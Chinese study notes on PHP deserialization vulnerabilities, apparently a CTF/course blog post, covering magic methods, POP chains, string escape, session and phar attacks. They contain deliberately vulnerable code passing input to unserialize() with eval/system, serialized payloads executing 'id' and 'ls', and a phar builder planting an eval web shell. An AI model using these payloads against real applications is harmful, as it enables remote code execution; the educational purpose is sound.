PHP反序列化(231119)

2023/11/19学习内容:php反序列化

知识来源:橙子科技工作室

PHP反序列化漏洞学习_哔哩哔哩_bilibili

一.类与对象     只有在调用内部方法时才会执行内部方法的代码如下

$cyj->jineng(var1:'跳跳跳');

如果不调用内部方法,print_r($cyj)只会输出内部属性

二.序列化的基础知识

1.序列化的作用是将对象的状态信息转化为字符串

2.表达方式:

三.反序列化知识

反序列化后,再调用内部方法,使用的变量用的是反序列化的值而不是原本的内部属性。

如下面用的dazhuang而不是benben

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

四.魔术方法

什么是魔术方法:一个预定义好的,再特定情况下自动触发得到行为的方法。1.

1._construct()    构造函数

触发条件:实例化对象时

<?php
highlight_file(__FILE__);
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>

触发了构造函数1次

2._destruct()  析构函数

对象销毁时触发,实例化后和反序列化后会被触发

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>
触发了析构函数1次
触发了析构函数1次

靶场练习:

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);

?>

playload:O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = 'O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}';
unserialize($ser);

?>

三._sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法_sleep()。

如果存在,该方法会先被调用,然后才执行序列化。

<?php
highlight_file(__FILE__);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password)    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        system($this->username);
    }
}
$cmd = '"id"';
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>

 四._wakeup()

_wakeup在反序列化以前触发

_destruct在反序列化后触发

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }

靶场

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = 'O:4:"User":1:{s:8:"username";s:2:"id";};';
unserialize($user_ser);
?>

 五._tostring()

表达方式错误导致触发

把对象当成字符串调用

echo $test;

print $test;

时把对象当成了字符串输出

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    var $benben = "this is test!!";
         public function __toString()
         {
             return '格式不对,输出不了!';
          }
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
User Object ( [benben] => this is test!! )
格式不对,输出不了!

六._invoke()

把对象当成函数时触发

 七._call()

调用了一个不存在的方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test -> callxxx('a');
?>

callxxx,a

八._callStatic()

静态调用或调用成员常量时使用的方法不存在

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');
?>

callxxx,a

九._get()

调用的成员属性不存在时

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;
?>

var2

十._set()

给不存在的成员属性赋值

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;
?>

var2,1

十一._isset()

对不可访问属性使用isset()或empty()时,_isset()会被调用

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __isset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
isset($test->var);
?>

var

十二._unset()

对不可访问属性使用unset()时

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);
?>

var

十三._clone()

当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法_clone()

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __clone( )
    {
        echo  "__clone test";
          }
}
$test = new User() ;
$newclass = clone($test)
?>
__clone test

五.pop链

一。前置知识

<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['test']);
?>
<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }

}
 
class evil {    var $test2="system('ls');";
    }
$a=new index();
echo urlencode(serialize($a));
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
        eval($this->test2);
    }
}
$a='O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D';
$a=urldecode($a);
unserialize($a);
?>

 二.pop链构造与poc编写

<?php
//flag is in flag.php

class Modifier {
    private $var=flag.php;
}
class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$mod=new Modifier();
$test=new Test();
$test->p=$mod;
$show=new Show();
$show ->source=$show;
$show->str=$test;
echo serialize($show);
?>

六.字符串逃逸

一.减少

 

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

让vip=true

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

 

<?php
class test{
	var $user='flagflagflagflagflagflagflagflagflagphp';
    var $pass ='";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
    var $vip = false;

}
$a=serialize(new test());
echo $a;
$a=str_replace("flag","hk",$a);
$a=str_replace("php","hk",$a);
var_dump(unserialize($a));
?>
O:4:"test":3:{s:4:"user";s:39:"flagflagflagflagflagflagflagflagflagphp";s:4:"pass";s:41:"";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}object(test)#1 (3) {
  ["user"]=>
  string(39) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:""
  ["pass"]=>
  string(6) "benben"
  ["vip"]=>
  bool(true)
}

 二。增加

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

目前代码:当pass=escaing的序列化字符串

<?php
class test{
    var $user='benben';
    var $pass='escaping';
}

echo serialize(new test());
?>
O:4:"test":2:{s:4:"user";s:6:"benben";s:4:"pass";s:8:"escaping";}

 构造逃逸

七._weakup魔术方法绕过

 

八。引用的利用

 九.session反序列化漏洞

 

 

save.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
vul.php
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

 

 例题

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

<?php
class Flag{
    public $name;
	public $her;

    }
$a=new Flag();
$a -> name=&$a->her;
echo serialize($a);
?>
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

 playload:a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

十。phar反序列化

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?>
<?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

 

 

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值